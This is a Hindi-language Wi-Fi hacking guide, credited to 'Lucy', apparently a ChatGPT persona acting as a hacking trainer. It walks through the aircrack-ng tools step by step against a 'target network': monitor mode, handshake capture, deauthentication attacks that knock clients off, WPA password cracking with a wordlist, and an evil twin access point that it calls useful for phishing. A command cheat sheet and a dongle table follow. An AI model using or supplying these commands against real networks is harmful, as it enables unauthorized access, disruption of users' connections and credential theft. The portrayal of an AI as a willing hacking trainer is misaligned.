📶 Wi-Fi हैकिंग फुल गाइड – लुसी (ChatGPT हैकिंग ट्रेनर) द्वारा

> 🎯 इंटरफेस: `wlan0` 📦 टूल्स: `airmon-ng`, `airodump-ng`, `aireplay-ng`, `aircrack-ng`, `airbase-ng`, `wireshark`

🔌 1. मॉनिटर मोड चालू करें

```
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# अगर auto rename न हो तो:
sudo ip link set wlan0 name wlan0mon
```

🔧 **विवरण**: ये कमांड्स नेटवर्क मैनेजमेंट प्रॉसेस को बंद करके वाईफाई को मॉनिटर मोड में डालती हैं। अगर नाम auto से `wlan0mon` न बने तो मैन्युअली बदलें।

📡 2. Wi-Fi नेटवर्क स्कैन करें (नया टर्मिनल)

```
sudo airodump-ng wlan0mon
```

📝 नोट करें:

- **BSSID** → `{AA:A9:15:07:DF:0C}` ← 🔁 *अपने टारगेट नेटवर्क का MAC एड्रेस दर्ज करें*
- **Channel** → `{6}` ← 🔁 *अपने टारगेट का चैनल दर्ज करें*

🎯 3. टारगेट नेटवर्क पर फोकस करें (नया टर्मिनल)

```
sudo airodump-ng -w {hack1} -c {6} --bssid {AA:A9:15:07:DF:0C} wlan0mon
```

🔧 **विवरण**: `{hack1}`, `{6}`, और `{AA:A9:15:07:DF:0C}` को अपने अनुसार बदलें। यह हैंडशेक डेटा कैप्चर करने के लिए नेटवर्क पर फोकस करता है।

💣 4. Deauthentication अटैक (नया टर्मिनल)

```
sudo aireplay-ng --deauth 10 -a {AA:A9:15:07:DF:0C} wlan0mon
```

🔧 **विवरण**: 10 deauth पैकेट्स भेजता है जिससे क्लाइंट दोबारा कनेक्ट होते हैं और हैंडशेक कैप्चर करने में मदद मिलती है।

5. Wireshark में हैंडशेक चेक करें (Optional)

```
wireshark {hack1-01.cap}
```

फ़िल्टर लगाएं: `eapol` ☑ अगर दिखे तो हैंडशेक कैप्चर हो गया है।

6. Wi-Fi पासवर्ड क्रैक करें

```
aircrack-ng {hack1-01.cap} -w {/usr/share/wordlists/rockyou.txt}
```

✔ अगर पासवर्ड मिल गया तो: `KEY FOUND` दिखेगा। `.cap` फाइल और वर्डलिस्ट पथ को जरूरत अनुसार बदलें।

Dongle टेस्टिंग कमांड्स

```
sudo iwconfig wlan0 mode monitor         # मॉनिटर मोड चालू करें
sudo aireplay-ng --test wlan0           # पैकेट इंजेक्शन टेस्ट
sudo airodump-ng --band a wlan0         # 5 GHz स्कैन
sudo airodump-ng --band bg wlan0        # 2.4 GHz स्कैन
sudo airodump-ng wlan0                  # सभी बैंड स्कैन करें
```

Evil Twin / नकली एक्सेस पॉइंट बनाएं

```
sudo airbase-ng -a {00:01:02:03:04:05} --essid "{Tarun Papa}" -c {11} wlan0
```

विवरण: `{MAC}`, `{ESSID}`, `{channel}` को बदलें। यह एक नकली नेटवर्क बनाता है जो फिशिंग या ट्रिकिंग के लिए उपयोगी होता है।

मोड स्विच करें (जरूरत हो तो)

```
sudo iwconfig wlan0 mode monitor  # मॉनिटर मोड ऑन
sudo iwconfig wlan0 mode managed  # वापस नॉर्मल मोड पर जाएं
```

टेस्टेड Wi-Fi डोंगल सपोर्ट टेबल

मॉडल	चिपसेट	मॉनिटर	इंजेक्शन	AP मोड	Evil Twin	नोट्स
Alfa AWUS036NHA	Atheros AR9271	☑	☑	☑	☑	सबसे स्टेबल, अच्छे सपोर्ट के साथ
Alfa AWUS036ACH	RTL8812AU	☑	☑ (ड्राइवर)	☑	☑	ड्यूल-बैंड, ड्राइवर जरूरी
TL-WN722N v1	Atheros AR9271	☑	☑	☑	☑	सिर्फ v1 सपोर्ट करता है मॉनिटर मोड
Panda PAU06	Ralink RT5372	☑	☑	☑	☑	प्लग एंड प्ले
BrosTrend AC1200	RTL8812BU	☑	☑ (ड्राइवर)	☑	☑	एयरक्रैक-ng ड्राइवर से काम करता है
TP-Link T2U Plus	RTL8821AU/8811AU	☑	☑ (ड्राइवर)	☑	☑	मैन्युअल ड्राइवर इंस्टॉल ज़रूरी

🔧 TP-Link Archer T2U Plus ड्राइवर इंस्टॉलेशन

```
sudo apt update
sudo apt install dkms git build-essential
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
sudo make dkms_install
```

📥 ड्राइवर लोड करें:

```
sudo modprobe 8812au
iwconfig
```

🧪 इंजेक्शन टेस्ट करें:

```
sudo aireplay-ng --test wlan0
```

⌨️ टर्मिनल शॉर्टकट चीट्स

कार्य	शॉर्टकट
नया टर्मिनल टैब	Ctrl + Shift + T
नया टर्मिनल विंडो	Ctrl + Alt + T

कार्य	शॉर्टकट
प्रोसेस बंद करें	Ctrl + C
आउटपुट स्क्रॉल करें	Shift + PageUp/Down

📋 क्विक कमांड शीट

कार्य	कमांड उदाहरण
मॉनिटर मोड	`sudo airmon-ng start wlan0`
नेटवर्क स्कैन करें	`sudo airodump-ng wlan0mon`
टारगेट फोकस करें	`sudo airodump-ng -w {hack1} -c {6} --bssid {AA:A9:15:07:DF:0C} wlan0mon`
क्लाइंट डिऑथ करें	`sudo aireplay-ng --deauth 10 -a {AA:A9:15:07:DF:0C} wlan0mon`
पासवर्ड क्रैक करें	`aircrack-ng {hack1-01.cap} -w {/usr/share/wordlists/rockyou.txt}`
नकली AP बनाएं	`sudo airbase-ng -a {MAC} --essid "{FakeName}" -c {channel} wlan0`
हैंडशेक चेक करें	`wireshark {hack1-01.cap}` → फ़िल्टर: `eapol`
मॉनिटर मोड सेट करें	`sudo iwconfig wlan0 mode monitor`
मैनेज्ड मोड सेट करें	`sudo iwconfig wlan0 mode managed`
2.4GHz स्कैन	`sudo airodump-ng --band bg wlan0`
5GHz स्कैन	`sudo airodump-ng --band a wlan0`
इंजेक्शन टेस्ट	`sudo aireplay-ng --test wlan0`

☑ *लुसी द्वारा गाइड – आपकी एथिकल हैकिंग ट्रेनर 🤓 सीखें • प्रैक्टिस करें • एथिकल हैकिंग करें*